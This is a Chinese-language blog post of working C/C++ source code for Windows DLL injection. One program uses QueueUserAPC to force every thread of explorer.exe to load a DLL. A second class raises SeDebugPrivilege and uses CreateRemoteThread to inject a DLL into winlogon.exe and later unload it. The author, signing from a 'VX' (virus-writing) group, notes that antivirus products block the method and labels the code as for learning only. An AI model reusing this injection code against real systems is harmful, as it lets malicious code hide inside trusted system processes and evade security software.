QueueUserApc实现DLL注入

思路来自PJF的文章,这种DLL注入方式貌似在恶意软件中使用的比较少,但是AVSOFT也封的比较早~仅供学习。
参考资料:http://blog.csdn.net/wuna66320/archive/2006/09/01/1155348.aspx
#define _WIN32_WINNT 0x0400
#define WIN32_LEAN_AND_MEAN   // 从 Windows 头中排除极少使用的资料
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <Tlhelp32.h>
//
// coded by robinh00d[VX Z0NE]
// Email:robinh00d_at_qq_dot_com
// 向指定进程的线程里插入APC实现DLL注入
//思路来自PJF的老文
//
typedef struct _TIDLIST 
{
DWORD dwTid ;
_TIDLIST *pNext ;
}TIDLIST;
DWORD EnumThread(HANDLE hProcess, TIDLIST *pThreadIdList)
{
TIDLIST *pCurrentTid = pThreadIdList ;
const char szInjectModName[] = "c:\\test.dll" ;
DWORD dwLen = strlen(szInjectModName) ;
PVOID param = VirtualAllocEx(hProcess, \
         NULL, dwLen, MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE) ;
if (param != NULL)
{
   DWORD dwRet ;
   if (WriteProcessMemory(hProcess, param, (LPVOID)szInjectModName, dwLen, &dwRet))
   {
    while (pCurrentTid)
    {
     HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, pCurrentTid-&gt;dwTid) ;
     if (hThread != NULL)
     {
      //
      // 注入DLL到指定进程
      //
      QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)param) ;
     }
     printf("TID:%d\n", pCurrentTid-&gt;dwTid) ;
     pCurrentTid = pCurrentTid-&gt;pNext ;
    }
   }
}
return 0 ;
}
DWORD GetProcID(const char *szProcessName)
{
PROCESSENTRY32 pe32 = {0} ;
pe32.dwSize = sizeof(PROCESSENTRY32);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) ;
if (hSnapshot == INVALID_HANDLE_VALUE)
{
   return 0xFFFFFFFF ;
}
if (!Process32First(hSnapshot, &pe32))
{
   return 0xFFFFFFFF ;
}
do 
{
   if (!_strnicmp(szProcessName, pe32.szExeFile, strlen(szProcessName)))
   {
    printf("%s的PID是:%d\n", pe32.szExeFile, pe32.th32ProcessID);
    return pe32.th32ProcessID ;
   }
} while(Process32Next(hSnapshot, &pe32));
return 0xFFFFFFFF ;
}
TIDLIST* InsertTid(TIDLIST *pdwTidListHead, DWORD dwTid)
{
TIDLIST *pCurrent = NULL ;
TIDLIST *pNewMember = NULL ;
if (pdwTidListHead == NULL)
{
   return NULL ;
}
pCurrent = pdwTidListHead ;
while (pCurrent != NULL)
{
   if (pCurrent-&gt;pNext == NULL)
   {
    //
    // 定位到链表最后一个元素
    //
    pNewMember = (TIDLIST *)malloc(sizeof(TIDLIST)) ;
    if (pNewMember != NULL)
    {
     pNewMember-&gt;dwTid = dwTid ;
     pNewMember-&gt;pNext = NULL ;
     pCurrent-&gt;pNext = pNewMember ;
     return pNewMember ;
    }
    else
    {
     return NULL ;
    }
   }
   pCurrent = pCurrent-&gt;pNext ;
}
return NULL ;
}
int EnumThreadID(DWORD dwPID, TIDLIST *pdwTidList)
{
int i = 0 ;
THREADENTRY32 te32 = {0} ;
te32.dwSize= sizeof(THREADENTRY32) ;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,dwPID) ;
if(hSnapshot != INVALID_HANDLE_VALUE)
{
   if(Thread32First(hSnapshot,&te32)) 
   {
    do
    {
     if(te32.th32OwnerProcessID==dwPID) 
     {
      if (pdwTidList-&gt;dwTid == 0)
      {
       pdwTidList-&gt;dwTid = te32.th32ThreadID ;
      }
      else
      {
       if (NULL == InsertTid(pdwTidList, te32.th32ThreadID))
       {
        printf("插入失败!\n") ;
        return 0 ;
       }
      }
     } 
    }while(Thread32Next(hSnapshot,&te32));
   }
}
return 1 ;
}
int main(int argc, char* argv[])
{
TIDLIST *pTidHead = (TIDLIST *)malloc(sizeof(TIDLIST)) ;
if (pTidHead == NULL)
{
   return 1 ;
}
RtlZeroMemory(pTidHead, sizeof(TIDLIST)) ;
DWORD dwPID = 0 ;
if ((dwPID = GetProcID("explorer.exe")) == 0xFFFFFFFF)
{
   printf("进程ID获取失败!\n") ;
   return 1 ;
}
//
// 枚举线程ID
//
EnumThreadID(dwPID, pTidHead) ;
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID) ;
if (hProcess == NULL)
{
   return 1 ;
}
EnumThread(hProcess, pTidHead) ;
return 0;
}

 

============================

/=========================================
// 函数名: EnableDebugPrivilege
// 输   入: bEnable(BOOL) - 提升:TRUE, 恢复:FALSE
// 输   出: BOOL - 成功:TRUE, 失败:FALSE
// 功   能: 提升/恢复权限
//=========================================
BOOL CRemoteInject::EnableDebugPrivilege(BOOL bEnable)
{
HANDLE hToken = NULL;
BOOL bRet = FALSE;
// 打开当前进程的Access Token
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
   {
// 指定TOKEN_PRIVILEGES.Privileges的数组大小
// 因为只修改SE_DEBUG, 所以一个足矣
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
// 找到SE_DEBUG的权限属性,并根据需要写入
// 第一个NULL表示在Local System查找
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid))
{
TRACE("LookupPrivilegeValue Error: %d\n", GetLastError());
CloseHandle(hToken);
goto Fail;
}
tp.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;
// 提权
// 如果不保存先前的权限状态,第四个参数可以是NULL
bRet = AdjustTokenPrivileges(hToken, FALSE, &tp, NULL, NULL, NULL);
CloseHandle(hToken);
   }
Fail:
return bRet;
}
//=========================================
// 函数名: GetPIDFromName
// 输   入: lpszProcessName(LPCTSTR) - 进程名
// 输   出: BOOL - 成功:目标进程PID值, 失败:FALSE
// 功   能: 获取指定进程的PID值
//=========================================
DWORD CRemoteInject::GetPIDFromName(LPCTSTR lpszProcessName)
{
HANDLE hProcessSnap = NULL;
PROCESSENTRY32 ProcessEntry;
DWORD dwPID = FALSE;
BOOL bSnapRet = FALSE;
ProcessEntry.dwSize = sizeof(PROCESSENTRY32);
// 创建当前进程快照
   // CTS函数失败返回INVALID_HANDLE_VALUE  
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
ASSERT(!(INVALID_HANDLE_VALUE == hProcessSnap));
// 遍历进程快照,匹配进程名
bool bFound = FALSE;
bSnapRet = Process32First(hProcessSnap, &ProcessEntry);
while (bSnapRet)
   {
bFound = (0 == lstrcmpi(lpszProcessName, ProcessEntry.szExeFile));
// 返回PID
if (bFound)
{
dwPID = ProcessEntry.th32ProcessID;
break;
}
bSnapRet = Process32Next(hProcessSnap, &ProcessEntry);
   }
CloseHandle(hProcessSnap);
return dwPID;
}
//=========================================
// 函数名: GetPrevDllBaseAddr
// 输   入: dwPID(DWORD) - 目标进程的PID值
// 输   出: DWORD - 成功:DLL的BaseAddr, 失败:FALSE
// 功   能: 得到目标进程中先前注入的DLL的BaseAddr
//=========================================
DWORD CRemoteInject::GetPrevDllBaseAddr(DWORD dwPID)
{
HANDLE hSnapShot = NULL;
MODULEENTRY32 ModEntry;
BOOL bRet = FALSE;
DWORD dwRet = FALSE;
// MS枚举Winlogon的DLL模块仍然需要SE_DEBUG权限
   // 否则会CreateToolhelp32Snapshot会因为拒绝访问出错
EnableDebugPrivilege(TRUE);
// 同样得先初始化大小
ModEntry.dwSize = sizeof(MODULEENTRY32);
ASSERT(dwPID);
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID);
ASSERT(!(INVALID_HANDLE_VALUE == hSnapShot));
// 取回第一条快照
bRet = Module32First(hSnapShot, &ModEntry);
bool bFound = FALSE;
while (bRet)
   {
bFound = (0 == lstrcmpi((LPCTSTR)m_sDllPath, ModEntry.szExePath));
if (bFound)
{
dwRet = (DWORD)ModEntry.modBaseAddr;
break;
}
bRet = Module32Next(hSnapShot, &ModEntry);
   }
CloseHandle(hSnapShot);
EnableDebugPrivilege(FALSE);
return dwRet;
}
//=========================================
// 函数名: Inject
// 输   入: -
// 输   出: BOOL - 成功:TRUE, 失败:FALSE
// 功   能: 远线程注入DLL到Winlogon
//=========================================
BOOL CRemoteInject::Inject()
{
HANDLE hRemoProcess = NULL;
HANDLE hRemoThread = NULL;
LPTSTR lpszRemoRam = NULL;
BOOL bRet = FALSE;
// 提权至SE_DEBUG
bRet = EnableDebugPrivilege(TRUE);
ASSERT(bRet);
// 打开Winlogon
hRemoProcess = OpenProcess(PROCESS_CREATE_THREAD |  
PROCESS_VM_OPERATION |    
PROCESS_VM_WRITE |
PROCESS_VM_READ |       
PROCESS_QUERY_INFORMATION,
NULL, GetPIDFromName(_T("winlogon.exe")));
if (!hRemoProcess)
   {
TRACE("OpenProcess Error: %d\n", GetLastError());
bRet = FALSE;
goto Fail;
   }
// 计算Dll路径的字节数, 包括最后的\0.
   // 并在远线程中分配虚拟空间
int nSize = (m_sDllPath.GetLength() + 1) * sizeof(TCHAR);
lpszRemoRam = (LPTSTR)VirtualAllocEx(hRemoProcess, NULL, nSize, MEM_COMMIT, PAGE_READWRITE);
if (!lpszRemoRam)
   {
TRACE("VirtualAllocEx Error: %d\n", GetLastError());
bRet = FALSE;
goto Fail;
   }
// 把DLL的路径写到在远程线程中分配的空间中
   // 此时对于目标进程应具有PROCESS_VM_OPERATION和PROCESS_VM_WRITE
bRet = WriteProcessMemory(hRemoProcess, lpszRemoRam, (LPCVOID)m_sDllPath, nSize, NULL);
if (!bRet)
   {
TRACE("WriteProcessMemory Error: %d\n", GetLastError());
goto Fail;
   }
// 获取LoadLibrary的函数地址
   // GetProcAddress中可能必须指定A版还是W版
LPTHREAD_START_ROUTINE lpfnThreadRun = (LPTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(_T("Kernel32")), "LoadLibraryW");
if (!lpfnThreadRun)
   {
TRACE("GetProcAddress Error: %d\n", GetLastError());
bRet = FALSE;
goto Fail;
   }
// 创建远程线程,利用LoadLibrary加载DLL
   // CreateRemoteThread的第四个参数要求一个定义自LPTHREAD_START_ROUTINE的函数
   // 这个函数会在远程线程启动地址空间时调用
hRemoThread = CreateRemoteThread(hRemoProcess, NULL, 0, lpfnThreadRun, lpszRemoRam, 0, NULL);
if (!hRemoThread)
   {
TRACE("CreateRemoteThread Error: %d\n", GetLastError());
bRet = FALSE;
goto Fail;
   }
// Now, everything is ok
WaitForSingleObject(hRemoThread, INFINITE);
bRet = TRUE;
Fail:
if (lpszRemoRam)
   {
VirtualFreeEx(hRemoProcess, lpszRemoRam, NULL, MEM_RELEASE);
   }
if (hRemoThread)
   {
CloseHandle(hRemoThread);
   }
if (hRemoProcess)
   {
CloseHandle(hRemoProcess);
   }
// 恢复至普通权限
EnableDebugPrivilege(FALSE);
return bRet;
}
//=========================================
// 函数名: UnInject
// 输   入: -
// 输   出: BOOL - 成功:TRUE, 失败:FALSE
// 功   能: 卸载注入到远线程的DLL
//=========================================
BOOL CRemoteInject::UnInject()
{
HANDLE hRemoProcess = NULL;
HANDLE hRemoThread = NULL;
DWORD dwPreDllBaseAdd = NULL;
BOOL bRet = FALSE;
// 提权
bRet = EnableDebugPrivilege(TRUE);
ASSERT(bRet);
// 打开目标进程
hRemoProcess = OpenProcess(PROCESS_CREATE_THREAD |  
PROCESS_VM_OPERATION |    
PROCESS_VM_WRITE |
PROCESS_VM_READ |       
PROCESS_QUERY_INFORMATION,
NULL, GetPIDFromName(_T("winlogon.exe")));
if (!hRemoProcess)
   {
TRACE("OpenProcess Error: %d\n", GetLastError());
bRet = FALSE;
goto Fail;
   }
// 得到注入的DLL的BaseAddress
dwPreDllBaseAdd = GetPrevDllBaseAddr(GetPIDFromName(_T("winlogon.exe")));
if (!dwPreDllBaseAdd)
   {
bRet = FALSE;
goto Fail;
   }
// 用FreeLibrary卸载DLL
   // FreeLibrary有且仅有一个版本
LPTHREAD_START_ROUTINE lpfnThreadRun = (LPTHREAD_START_ROUTINE)
GetProcAddress(::GetModuleHandle(_T("Kernel32")), "FreeLibrary");
if (!lpfnThreadRun)
   {
TRACE("GetProcAddresss Error: %d\n", GetLastError());
bRet = FALSE;
goto Fail;
   }
// 创建远线程
hRemoThread = CreateRemoteThread(hRemoProcess, NULL, 0, lpfnThreadRun, (LPVOID)dwPreDllBaseAdd, 0, NULL);
if (!hRemoThread)
   {
TRACE("CreateRemoteThread Error: %d\n", GetLastError());
bRet = FALSE;
goto Fail;
   }
// Now, everyting is Ok
WaitForSingleObject(hRemoThread, INFINITE);
bRet = TRUE;
Fail:
if (hRemoThread)
   {
CloseHandle(hRemoThread);
   }
if (hRemoProcess)
   {
CloseHandle(hRemoProcess);
   }
// 恢复至普通权限
EnableDebugPrivilege(FALSE);
return bRet;
}

你可能感兴趣的:(职场,安全,dll,休闲,QueueUserApc)